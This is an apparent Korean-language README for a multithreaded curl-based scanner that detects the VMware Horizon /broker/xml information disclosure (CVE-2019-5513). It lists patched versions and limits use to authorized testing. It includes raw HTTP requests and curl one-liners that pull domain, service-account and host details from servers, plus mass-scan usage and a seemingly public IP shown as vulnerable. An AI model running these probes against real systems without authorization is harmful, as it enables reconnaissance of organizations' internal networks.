
VMWare Horizon Connection Server는 조직의 가상 데스크톱 환경(VDI)에 대한 인터넷 연결 게이트웨이로 자주 사용됩니다. 최근까지 대부분의 이러한 설치 환경은 Connection Server의 내부 이름, 게이트웨이의 내부 IP 주소, Active Directory 도메인을 인증되지 않은 공격자에게 노출했습니다.
VMware Horizon Connection Server의 /broker/xml 엔드포인트에서 인증되지 않은 정보 노출 취약점을 탐지하는 고성능 멀티스레드 스캐너입니다.
VMware Horizon Connection Server는 인증 없이 민감한 내부 구성 정보를 유출할 수 있는 XML API 엔드포인트(/broker/xml)를 노출합니다. 이 스캐너는 두 가지 공격 벡터를 테스트하여 취약한 서버를 신속하게 식별합니다:
get-configuration XML 명령을 사용합니다.| 속성 | 값 |
|---|---|
| CVE | CVE-2019-5513 |
| CVSS 점수 | 5.3 (중간) |
| 벡터 | AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N |
| 영향받는 제품 | VMware Horizon Connection Server 7.x(7.8 이전), 7.5.x(7.5.2 이전), 6.x(6.2.8 이전) |
| 유출되는 정보 | Active Directory 도메인 이름, 서비스 계정 이름(머신 계정), 내부 호스트명, 게이트웨이 IP 주소 |
<?xml version="1.0" encoding="utf-8"?>
<broker>
<configuration>
<broker-service-principal>
<type>kerberos</type>
<name>[email protected]</name>
</broker-service-principal>
<domain>corporate-domain.example.com</domain>
</configuration>
</broker>
매우 빠름 — 멀티스레드 아키텍처(기본 동시 스레드 50개)
이중 프로토콜 테스트 — HTTPS(포트 443)와 HTTP(포트 80)를 동시에 검사
두 가지 공격 벡터 — 빈 POST 본문(제로데이) + 조작된 XML(CVE-2019-5513) 테스트
짧은 타임아웃 — 요청당 최대 5초, 연결 타임아웃 3초
명확한 출력 — 취약한 호스트에 대한 전체 XML 응답이 포함된 색상 구분 결과
결과 내보내기 — -o 옵션으로 모든 발견 결과를 파일에 저장
의존성 없음 — curl만 사용(대부분의 시스템에 표준 설치됨)
# Clone the repository
git clone https://github.com/sudosu01/CVE-2019-5513-scanner.git
cd vmware-horizon-scanner
# Make the script executable
chmod +x broker.sh
기본 스캔
./broker.sh -d targets.txt
사용자 지정 스레드로 스캔(더 빠르게)
./broker.sh -d targets.txt -t 100
스캔 및 결과 저장
./broker.sh -d targets.txt -t 100 -o results.txt
명령줄 옵션
| 옵션 | 설명 |
|---|---|
| -d | IP 주소/호스트명 목록이 포함된 입력 파일(줄당 하나) |
| -t | 스레드 수(기본값: 50) |
| -o | 결과를 저장할 출력 파일 |
| -h | 도움말 메시지 표시 |
입력 파일 형식 (targets.txt)
# Comments start with #
185.171.101.236
192.168.1.100
10.0.0.50
example-vmware.com
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
VMware Horizon /broker/xml Vulnerability Scanner
Multi-Threaded Mode - 50 threads
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[*] Testing: Empty POST (Zero-Day) + Crafted XML (CVE-2019-5513)
[*] Protocols: HTTPS + HTTP (both tested simultaneously)
[*] Scanning 3 hosts...
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] 185.171.101.236 | VULNERABLE | HTTPS | EMPTY_POST
Response:
<?xml version="1.0" encoding="utf-8"?>
<broker>
<configuration>
<broker-service-principal>
<type>kerberos</type>
<name>TEST-SERVER$@DOMAIN</name>
</broker-service-principal>
</configuration>
</broker>
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[-] 192.168.1.100 | NOT VULNERABLE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] 10.0.0.50 | VULNERABLE | HTTP | CRAFTED_XML
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[*] SCAN COMPLETE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Total hosts: 3
Vulnerable: 2
Not vulnerable: 1
Time taken: 4 seconds
수동 테스트를 위한 원시 요청은 다음과 같습니다:
테스트 1: 빈 POST 본문(제로데이)
POST /broker/xml HTTP/1.1
Host: target.example.com
Content-Type: text/xml
User-Agent: VMware-Horizon-Client
Content-Length: 0
테스트 2: 조작된 XML(CVE-2019-5513)
POST /broker/xml HTTP/1.1
Host: target.example.com
Content-Type: text/xml
User-Agent: VMware-Horizon-Client
Content-Length: 115
<?xml version='1.0' encoding='UTF-8'?><broker version='10.0'><get-configuration></get-configuration></broker>
빈 POST 본문
curl -k -X POST "https://target/broker/xml" \
-H "Content-Type: text/xml" \
-H "User-Agent: VMware-Horizon-Client" \
-d ''
조작된 XML
curl -k -X POST "https://target/broker/xml" \
-H "Content-Type: text/xml" \
-H "User-Agent: VMware-Horizon-Client" \
--data-binary '<?xml version="1.0" encoding="UTF-8"?><broker version="10.0"><get-configuration></get-configuration></broker>'
VMware Horizon Connection Server를 패치된 버전으로 업그레이드하세요:
| 버전 | 패치 버전 |
|---|---|
| 7.x | 7.8 이상 |
| 7.5.x | 7.5.2 이상 |
| 6.x | 6.2.8 이상 |
추가 완화 조치:
이 도구는 다음 보안 연구원들의 연구를 기반으로 합니다:
원본 CVE-2019-5513 발견 — Atredis Partners
Critical Start의 Cory Mathews(독립적 발견)
이 도구의 제로데이 발견 빈 POST 본문 공격 벡터는 추가 연구 중에 확인되었습니다. 원래 CVE는 조작된 XML 페이로드가 필요했지만, 이 도구는 페이로드 구성이 필요 없고 실행이 훨씬 더 간단한 빈 본문 방법도 테스트합니다.
이 도구는 교육 목적 및 승인된 보안 테스트 전용입니다. 소유하고 있지 않거나 명시적 테스트 허가를 받지 않은 시스템을 무단 스캔하는 것은 법률 및 규정을 위반할 수 있습니다. 작성자는 오용에 대한 책임을 지지 않습니다.
MIT 라이선스
이 도구가 유용하다면 GitHub에서 스타를 눌러 주세요!